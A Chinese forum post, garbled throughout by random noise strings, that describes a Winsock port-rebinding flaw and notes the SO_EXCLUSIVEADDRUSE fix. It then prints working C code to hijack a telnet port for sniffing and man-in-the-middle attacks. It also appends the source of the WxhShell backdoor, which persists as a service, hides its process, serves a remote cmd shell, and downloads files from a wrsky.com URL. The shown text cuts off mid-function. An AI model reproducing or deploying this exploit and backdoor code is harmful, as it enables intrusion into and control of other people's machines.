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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pT3icy!A= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k3nvML,bv (>f`>6 V saddr.sin_family = AF_INET; eG8l^[ U djYRfk saddr.sin_addr.s_addr = htonl(INADDR_ANY); ("r:L<xe& Ir5|H|b< bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Jj\lF*B awvP;F?q| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @6UZC-M0 >T c\~l 这意味着什么?意味着可以进行如下的攻击: s;=C&N5g -u4")V> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +4Pes R dwt4A+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^jUw4Dj~-q PgGUs4[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -zn_d]NV 5V\",PAW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 KX7fgC B2P@9u|9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CaO-aL P9f`<o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2<y9xvp |#M|"7;2z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *8m['$oyV 3Jt#
Mp #include EG|dN(qh #include \q4r/SbgW #include '
|B3@9< #include <F(2D<d{;) DWORD WINAPI ClientThread(LPVOID lpParam); {>9ED.t int main() *B}O { 3
V>$H\H WORD wVersionRequested; H,5]w\R6\ DWORD ret; kltW
WSADATA wsaData; FVBAB> BOOL val; R3l{.{3p2 SOCKADDR_IN saddr; h9CTcWGt SOCKADDR_IN scaddr; $7c,<= int err; 3\Q 9>> SOCKET s; /e?0Iv"
8> SOCKET sc; dt,Z^z+"E int caddsize; d[J_iD{ & HANDLE mt; %)?jaE}[ DWORD tid; RR
^7/- wVersionRequested = MAKEWORD( 2, 2 ); *|Er;Thw err = WSAStartup( wVersionRequested, &wsaData ); .#$2,"8 if ( err != 0 ) { }aR}ZzK/v printf("error!WSAStartup failed!\n"); UO@K:n return -1; z'& fEsjy } oD9n5/ozo saddr.sin_family = AF_INET; ^Y%_{
M3O !jN~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3]*1%=~X/ $*iovam>^] saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]VLseF saddr.sin_port = htons(23); 3oMHy5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZIc.MNq { _UPfqC ? printf("error!socket failed!\n"); o!KDeY return -1; dCTyfXou[= }
9Pe$}N val = TRUE; H(K
PU1lDw //SO_REUSEADDR选项就是可以实现端口重绑定的 [K\b"^=< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2wIJ;rh { !e~[U- printf("error!setsockopt failed!\n"); C`ky= return -1; >20dK } `(0B09~7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z<vh8dNl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4,c6VCw3+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z%B6J>;u M ybE2N if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YnU)f@b# { T!KwRxJ23 ret=GetLastError(); HdI)Z<Krp printf("error!bind failed!\n"); 9%iQ~
return -1; N\ ! } /}m*|cG/ listen(s,2); o!":mJy while(1) y7fy9jQ
8. { SnmUh~`L~ caddsize = sizeof(scaddr); 7\,9Gcv1 //接受连接请求 bC1G5`v_D sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !LwHKCj if(sc!=INVALID_SOCKET) ~Q]5g7k=& { ,Q7;(&x~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?V^7`3F if(mt==NULL) qz>R"pj0g { GgG#]a!_f printf("Thread Creat Failed!\n"); pcwYgq#5 break; t'Wv?, } 7
s5(eQI } pOo016afmA CloseHandle(mt); q -8G } *??lwvJp closesocket(s); C\GP}:[T3 WSACleanup(); |50sGJE( return 0; ([dd)QU } X$ZVY2 DWORD WINAPI ClientThread(LPVOID lpParam) A!B.+p[G { 4v hz`1 SOCKET ss = (SOCKET)lpParam; u6ULk<<\ SOCKET sc; ()?83Xj[c unsigned char buf[4096]; LsuOmB| ^ SOCKADDR_IN saddr; J4"Fj, FS long num; fyb;*hgu DWORD val; =#S.t:HQ* DWORD ret; "U-jZ5o" //如果是隐藏端口应用的话,可以在此处加一些判断 j/*1zu8Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 \toU zTT saddr.sin_family = AF_INET; $3g{9)} saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lbBWOx/| saddr.sin_port = htons(23); }Ze*/p- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LD}~] {
-9i7Ja printf("error!socket failed!\n"); sE6>JaH return -1; *c94'T cl } o6k#neB>=. val = 100; .PUp3X- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VIP7j(#t_g { Ey|_e3Lf[ ret = GetLastError(); r@{TN6U return -1; !ka* rd } !B}9gT if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7t:RQ`$: { yQD>7%x ret = GetLastError(); SXm%X(JU return -1; RDp } (O5Yd 6u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rm,`M { W8^m-B& printf("error!socket connect failed!\n"); zl|z4j'Irc closesocket(sc); yijP closesocket(ss); ro{!X, _$, return -1; +1!iwmch> } #4msBax4 while(1) x?+w8jSR { 'j6O2=1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mLxgvp //如果是嗅探内容的话,可以再此处进行内容分析和记录 (?na|yd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }|kFHodo num = recv(ss,buf,4096,0); k||t<&`Ze if(num>0) S'jg#*$ send(sc,buf,num,0); T$xBH else if(num==0) 56 3mz- break; tX{yR'Qhu num = recv(sc,buf,4096,0); E[]5Od5# if(num>0) No'?8 +i send(ss,buf,num,0); ecghY=% else if(num==0) Hsf::K x break; _5jT}I<k } E^axLp>(I closesocket(ss); H4w\e#| closesocket(sc); k2U*dn"9U return 0 ; ?BnU0R_r] } (j&: \!-BR0+y; "+F'WCJ-(* ========================================================== (jM0YtrD [ >O!~ 下边附上一个代码,,WXhSHELL CJ
:V %| !qt2,V ========================================================== Pb#M7=J/ mH'~pR>t #include "stdafx.h" 8b2 =n
}X&rJV #include <stdio.h> TN2Ln?[xU #include <string.h> mLX/xM/T?/ #include <windows.h> x]+PWk #include <winsock2.h> 5I622d #include <winsvc.h> s<9g3Gh #include <urlmon.h> t~) P1Lof\ A9$x8x*Lt #pragma comment (lib, "Ws2_32.lib") o$rjGa l #pragma comment (lib, "urlmon.lib") cuhp4!! *2G6Q
gF #define MAX_USER 100 // 最大客户端连接数 % =^/^[D #define BUF_SOCK 200 // sock buffer NBYJ'nA%;f #define KEY_BUFF 255 // 输入 buffer
Q.g/ =*2,^j #define REBOOT 0 // 重启 P0m3IH) #define SHUTDOWN 1 // 关机 xh;V4zK@` e5|lz.o; #define DEF_PORT 5000 // 监听端口 #).$o~1ht! 9zu;OK% #define REG_LEN 16 // 注册表键长度 )/T[Cnx.Nc #define SVC_LEN 80 // NT服务名长度 pH1!6X D0D=;k // 从dll定义API BzzC| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U lYFloZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @rTB&>` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b(Nv`'O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mlnF,+s 52w@.] // wxhshell配置信息 fZG Y'o&5 struct WSCFG { s,HbW%s int ws_port; // 监听端口 gq7tSkH@ char ws_passstr[REG_LEN]; // 口令 .uuhoqG0 int ws_autoins; // 安装标记, 1=yes 0=no >t+U`6xK char ws_regname[REG_LEN]; // 注册表键名
=@HS char ws_svcname[REG_LEN]; // 服务名 /eF@a! char ws_svcdisp[SVC_LEN]; // 服务显示名 S
/hx\TzC char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;M:AcQZ|_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UVo`jb|>
o int ws_downexe; // 下载执行标记, 1=yes 0=no aSzI5J]/= char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" `q^#u char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L:$4o Bm$|XS3cD }; l4bytI{63 DXs an // default Wxhshell configuration :<QknU}dwy struct WSCFG wscfg={DEF_PORT, d*@T30 "xuhuanlingzhe", e97G]XLR 1, <xI<^r'C9e "Wxhshell", X?5{2ulrI "Wxhshell", Hn|W3U "WxhShell Service", )4yP(6|lx "Wrsky Windows CmdShell Service", 8dGsV5" * "Please Input Your Password: ", BI1M(d#1L" 1, NJUKH1lIhR " http://www.wrsky.com/wxhshell.exe", GWA"!~Hu "Wxhshell.exe" IDohv[# }; *WwM"NFHDd W0qR?jc // 消息定义模块 !GcBNQ1p+7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _olQ;{ U: char *msg_ws_prompt="\n\r? for help\n\r#>"; y>I2}P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; l5[5Y6c> char *msg_ws_ext="\n\rExit."; 2Ez<Iw char *msg_ws_end="\n\rQuit."; E9:@H;Gc char *msg_ws_boot="\n\rReboot..."; #[+# bw_6 char *msg_ws_poff="\n\rShutdown..."; LOh2eZ"n char *msg_ws_down="\n\rSave to "; M<vPE4TIr* SyWZOE%p char *msg_ws_err="\n\rErr!"; :gVUk\) char *msg_ws_ok="\n\rOK!"; Vao:9~ "-~7lY% char ExeFile[MAX_PATH]; |5&+VI int nUser = 0; GEc6;uz< HANDLE handles[MAX_USER]; 0U '"@A
\ int OsIsNt; Y|>dS8f;4 VoU8I ~ SERVICE_STATUS serviceStatus; {)[o*+9 SERVICE_STATUS_HANDLE hServiceStatusHandle; J<$@X JLS 02;jeZ#z // 函数声明 /0s1;? int Install(void); a=z] tTs4 int Uninstall(void); M(%H int DownloadFile(char *sURL, SOCKET wsh); e &6 %
int Boot(int flag); TZn
15-O void HideProc(void); %w`d int GetOsVer(void); m'o dVZ7 int Wxhshell(SOCKET wsl); .wfydu)3 void TalkWithClient(void *cs); SE'Im int CmdShell(SOCKET sock); $O"ss>8Se int StartFromService(void); /9`4f " int StartWxhshell(LPSTR lpCmdLine); u47<J?!Q HIg2y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '7iz5wC# VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~Amq1KU*Z BoD{fg // 数据结构和表定义 2HX/@ERhmu SERVICE_TABLE_ENTRY DispatchTable[] = 0SQ!lr { j*{0<hZb} {wscfg.ws_svcname, NTServiceMain}, !~ox;I}S {NULL, NULL} >3 o4 U2 }; 6(n0{A cgnNO& // 自我安装 {}O~tf_ int Install(void) R9J!}az' { ZpTDM1ro char svExeFile[MAX_PATH]; o! a,r3 HKEY key; ':*H#}Br-# strcpy(svExeFile,ExeFile); i8]EIXbMX gabfb# // 如果是win9x系统,修改注册表设为自启动 G|6qL if(!OsIsNt) { 77>oQ~q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8mI(0m' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0At0`Q# RegCloseKey(key); @8d 3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m1$tf
^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I^NDJdxd RegCloseKey(key); !T6R[ return 0; ?Ga8.0Z~KT } 9*qwXU_aV } Pv -4psdw } wJp<ZL else { hnj\|6L ,9&cIUH // 如果是NT以上系统,安装为系统服务 waMF~#PJlt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sSM"~_y\ if (schSCManager!=0) q lc@$ { \Kl20? SC_HANDLE schService = CreateService DiJLWXs ( N
J3;[qJ schSCManager, a6{Zp{"Y wscfg.ws_svcname, J8ni}\f wscfg.ws_svcdisp, 4cjfn'x SERVICE_ALL_ACCESS, fdl.3~.C SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6VW*8~~Xy SERVICE_AUTO_START, ZW4f " SERVICE_ERROR_NORMAL, e~)[I! n svExeFile, 3>O|i2U NULL, %:3XYO.w- NULL, F*72g)hVh NULL, ww2mL
<B NULL, 3j7FG%\ NULL e@D_0OZ ); '|8dt "C if (schService!=0) <jh4P!\&j { MN?aPpr> CloseServiceHandle(schService); uwwR$
(\7 CloseServiceHandle(schSCManager); [F-R*}&x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xyL"U* strcat(svExeFile,wscfg.ws_svcname); Z.VKG1e} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tv#oEM9esl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kK&w5' RegCloseKey(key); WzIUHNn'I return 0; IJ^~,+
} atL<mhRz } BP/nK. CloseServiceHandle(schSCManager); p2vN=[g9) } J%"BCbxW~B } 0|&@)` @MSmg3& return 1; lQ8hY$
} F#Lo^ 8 br I;}m // 自我卸载 rA~f68h| int Uninstall(void) Z?)g'n { 7;jD>wp9D HKEY key; "O34 E?ql. \|=6<ZY: if(!OsIsNt) { oe<i\uX8z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u\\t~<8 RegDeleteValue(key,wscfg.ws_regname); Hw \of RegCloseKey(key); $/wm k7T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e]4$H.dP
RegDeleteValue(key,wscfg.ws_regname); 2<D| { RegCloseKey(key); X^\D"fmE. return 0; P6+ B!pY } VLuHuih } erH,EE^-x< } bRAD_ else { /,\V}`Lx" uw;Sfx,s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VF`!ks if (schSCManager!=0) fyQOF ItM { (b25g! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sN41Bz$q. if (schService!=0) y4-kuMYR { B;k'J:-" if(DeleteService(schService)!=0) { f-%M~: CloseServiceHandle(schService); QjTSbHtH CloseServiceHandle(schSCManager); /U;j-m& return 0; ]az(w&vqg2 } {4J. CloseServiceHandle(schService); U1 _"D+XB } VbX P7bZ CloseServiceHandle(schSCManager); ]Lv3XMa } )eZK/>L& } u/=hueR<^ g p:0 Y return 1; o=rR^Z$G } OZ&/&?!XE ~$J;yo~ // 从指定url下载文件 yqN`R\d int DownloadFile(char *sURL, SOCKET wsh) 2Q6;SF"Z { ZHTi4JY HRESULT hr; 1T!o`* char seps[]= "/"; A
\/~u"Y char *token; g,,wG k char *file; jQ{ @ol}n char myURL[MAX_PATH]; BUXE
s0]Lv char myFILE[MAX_PATH]; q T6y& "OLg2O^ strcpy(myURL,sURL); ?+zFa2J token=strtok(myURL,seps); &5W;E+Pub while(token!=NULL) T}fo { &gCGc?/R# file=token; y3~`qq token=strtok(NULL,seps); f@i#Znkf*? } O#)1zD} AjK5x@\ GetCurrentDirectory(MAX_PATH,myFILE); Ohm{m^VD" strcat(myFILE, "\\"); | 6{JINW strcat(myFILE, file); {H)7K.hQN send(wsh,myFILE,strlen(myFILE),0); >7W)iwF send(wsh,"...",3,0); p%DU1+SA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sxT&T=7 if(hr==S_OK) o`YBz~2 return 0; '{
<RX else aE~T!h return 1; N<Sl88+U a>47k{RSzE } m.lR]!Y=w oJa}NH
// 系统电源模块 #Z1%XCt int Boot(int flag) z|pt)Xl { z/\OtYz HANDLE hToken; Mt.Cj;h@^[ TOKEN_PRIVILEGES tkp; |dR}S!fmG <|r|s if(OsIsNt) { NK0'\~7& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DO~
D?/ia LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }H
~-oYMu tkp.PrivilegeCount = 1; 8H7#[?F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8&JB_%Gb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8UU
L= if(flag==REBOOT) { jSjC43lh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8:0/Cj return 0; @&?(XY 'M% } P!79{ 8 else { qur2t8gnxq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e]VW\6J& return 0; Lg<h54X } rd7p$e=i } r;{$x else { B@*b 9 if(flag==REBOOT) { Ao\P|K9MyL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sJL Oz> return 0; YZ>L_$:q } .2&L. else { t`B@01;8A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0si1:+t-[+ return 0; 254V)(t^QM } $
64up! } pg%(6dqK4 \
ku5%y return 1; 4'z)J1M } lqfTF loIb}8 // win9x进程隐藏模块 X\`']\l void HideProc(void) +ydd"` { (tYZq86` :(]fC~G~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]A2E2~~G if ( hKernel != NULL ) + ,Krq 3P { 0h A: =r pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ) (YNNu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =p_*lC%N FreeLibrary(hKernel); SE\?8cs]- } ktrIi5B Go{,<
gm return; /K|(O^nw } V22z-$cb ":
vGs_$ // 获取操作系统版本 ?JZ$M int GetOsVer(void) "r46Rfa { k\[(;9sf. OSVERSIONINFO winfo; #_.JkY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yMWh#[phH GetVersionEx(&winfo); opa}z-7>^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ir<e^a return 1; 36{GZDGQ else t~(jA9n return 0; FGi7KV=N } r>(,)rs(l Kkp dcc // 客户端句柄模块 U,P>P+\@ int Wxhshell(SOCKET wsl) V~/G,3:0y% { bVzi^R" SOCKET wsh; 3q'AgiW struct sockaddr_in client; kL1<H%1' DWORD myID; 3`cA!ZVQ ^m%#1Zd while(nUser<MAX_USER) /:F^*] { 67iI wY*8' int nSize=sizeof(client); kY$EK]s wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
E4 eXfu if(wsh==INVALID_SOCKET) return 1; .f_
A% aB6xRn9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1_TuA( if(handles[nUser]==0) yIL=jzm`7 closesocket(wsh); d[_26. else pbAL& } nUser++; 1x|3|snz) } &MSU<S?1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]"_c-= }AS/^E return 0; 5z_d$.CIc } 5VV}w R 0<%$lr // 关闭 socket _P.I+!w:x void CloseIt(SOCKET wsh) %C_tBNE< { LH4A!a] closesocket(wsh); :$"{-n nUser--; Y_CVDKdcY ExitThread(0); V^,gpTyv* } X8*g#lO? -F7F 6!s // 客户端请求句柄 J.yM@wPS> void TalkWithClient(void *cs) AfA"QCyO { 1@v< <}J!_$A SOCKET wsh=(SOCKET)cs; `xzKRId0 char pwd[SVC_LEN]; kxhsDD$@p char cmd[KEY_BUFF]; FC1rwXL( char chr[1]; w||t3!M+n int i,j; 57q= {<ShUN while (nUser < MAX_USER) { ? uYO]!VC `a&L if(wscfg.ws_passstr) { .u)KP*_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @l CG)Ix< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q("m*eMRt //ZeroMemory(pwd,KEY_BUFF); >B{qPrmI i=0; @SD XJJh while(i<SVC_LEN) { &|XgWZS5 dCoP
qKy // 设置超时 \>5sW8P]H` fd_set FdRead; *W8n8qG%T struct timeval TimeOut; 9&*
7+! FD_ZERO(&FdRead); 1x_EAHZ>7 FD_SET(wsh,&FdRead); WVeNO,?ytS TimeOut.tv_sec=8; ]S%_&ZMCM TimeOut.tv_usec=0; 5&8BO1V. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zn>lF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MQP9^+f)O? Gt*<Awn8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Z/iYHv~#c pwd =chr[0]; wK2$hsque if(chr[0]==0xd || chr[0]==0xa) { d`=
~8` pwd=0; }p?,J8=- break; Qp<*or@ } W$jRS i++; ug]2wftlQ } H}r]j\ 1D1kjM^Bo // 如果是非法用户,关闭 socket F1}d@^K
7d if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o]]tH } m+dQBsz\ Rm_+kp@\ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &D|+tu{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qo]qs+ rw
2i_,.*~ while(1) { B}zBbB ;*Mr(#R ZeroMemory(cmd,KEY_BUFF); !gsrPM ^!O!HMX0 // 自动支持客户端 telnet标准 a&kt!%p: j=0; B$OV^iwxK while(j<KEY_BUFF) { 6 %` h2Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <}xgp[O cmd[j]=chr[0]; qs8^qn0A if(chr[0]==0xa || chr[0]==0xd) { ^\S~rW.3_ cmd[j]=0; dBM{]@bZ break; ^;{uop"DS } Y#P!<Q>} j++; P=P']\`p+ } ~USyN'5lU7 @d8Nr: // 下载文件 2#qcYU if(strstr(cmd,"http://")) { CCC9I8rZD send(wsh,msg_ws_down,strlen(msg_ws_down),0); #l* w=D? if(DownloadFile(cmd,wsh)) M)JozD% send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ag{)?5/d_ else 0XC3O 8q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,1t|QvO } s[7/w[& else { (B*,|D[J@i 44k8IYC*o switch(cmd[0]) { 7uu\R=$ hq&9S{Ep // 帮助 WS@"8+re; case '?': { osO\ib_% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iTT7<x
break; VV[Fb9W ; } *6}'bdQbNP // 安装 fG8^ |: case 'i': { S s+ if(Install()) t,A=B(W send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4B[uF/[ else =RM]/O9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IQ$ 6}. break; wZ`*C
mr }
fC}uIci // 卸载 d&ff1(j( case 'r': { [_KOU2 if(Uninstall()) V~-tp^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%\MOjSN else R9K~b^` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y!ypG- break; 2PNe~9)*# } {g4w[F!77 // 显示 wxhshell 所在路径 y\:Ma7V case 'p': {
b`GKGqb J char svExeFile[MAX_PATH]; X #$l7I9H strcpy(svExeFile,"\n\r"); Qip@L WvT strcat(svExeFile,ExeFile); #g2&x sU send(wsh,svExeFile,strlen(svExeFile),0); XrXW6s;Z break; |v#rSVx } gTLBR // 重启 o>]z~^c case 'b': { m*lcIa send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yI-EF)A@; if(Boot(REBOOT)) oykb8~u}} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5CfD/}{:#I else { U{@2kg- closesocket(wsh); va"bw!zXo* ExitThread(0); 9@nd>B } * vqUOh break; l?xd3Z@7[ } Bq-}BN?pz // 关机 V8pZr+AJ case 'd': { alsD TQ' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \IqCC h if(Boot(SHUTDOWN)) n7/&NiHxv/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); nYBa+>3BDf else { ^nFP#J)_5 closesocket(wsh); ?1LRR
;-x ExitThread(0); ^q|W@uG-( } HHs!6`R$0c break; NE Zu?g } |v1*
[( // 获取shell 4#t-?5" case 's': { ttBqp|.?S CmdShell(wsh); U?5G%o(q closesocket(wsh); :FmH=pI!= ExitThread(0); m|OB_[9 break; lO 0} } Jy('tfAHp // 退出 e:rbyzf# case 'x': { ]8'PLsS9<w send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *|@386\ CloseIt(wsh); $e uI break; PY+4OZ$ } Qf'g2
\ // 离开 )NqRu+j case 'q': { z"Cyjmg" send(wsh,msg_ws_end,strlen(msg_ws_end),0); O{U j closesocket(wsh); `'pAiu WSACleanup(); a#9pN?~ exit(1); &zP>pQr`# break; (I+e@UUiL } }EJ/H3< } i;29*" } hR.vJ2oa 5/CF_v // 提示信息 &$l#0?Kc^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M23r/eg] } 0f'LXn } 59+KOQul6 ":GC}VIS return; C\dk}A } M0KU}h YPCitGBl // shell模块句柄 (S?DKPnR int CmdShell(SOCKET sock) uotW[L9 { }-u%6KZ STARTUPINFO si; 7lKatk+7K ZeroMemory(&si,sizeof(si)); {lgiH+: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $3%+N|L si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hMV>5Y[s PROCESS_INFORMATION ProcessInfo; OkCAvRg char cmdline[]="cmd"; | :id/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )%lPKp4] return 0; {2i8]Sp1d/ } !aL=R)G&e /?Mr2!3N // 自身启动模式 ,*?[Rg0]+ int StartFromService(void) VYt<j<ba { RAuVRm=E typedef struct S_;r!. { BL"7_phM, DWORD ExitStatus; sH >zsc DWORD PebBaseAddress; xH}bX- m DWORD AffinityMask; ]5| o8. DWORD BasePriority; `2N&{( ULONG UniqueProcessId; z{XN1'/V ULONG InheritedFromUniqueProcessId; ML@-@BaN } PROCESS_BASIC_INFORMATION; 7{F(NJUO1 uG<VQ2LM PROCNTQSIP NtQueryInformationProcess; W,<L/ZKJ :'1UX <&B static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l{q$[/J~) static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4#hDt^N~ 74f3a|vx/ HANDLE hProcess; &q~**^;' PROCESS_BASIC_INFORMATION pbi; ~DY5`jV E.~; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]j.=zQP?' if(NULL == hInst ) return 0; &"X6s%ZH| F>N3GPRl g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "s-e)svB g_pGetModuleBaseName = 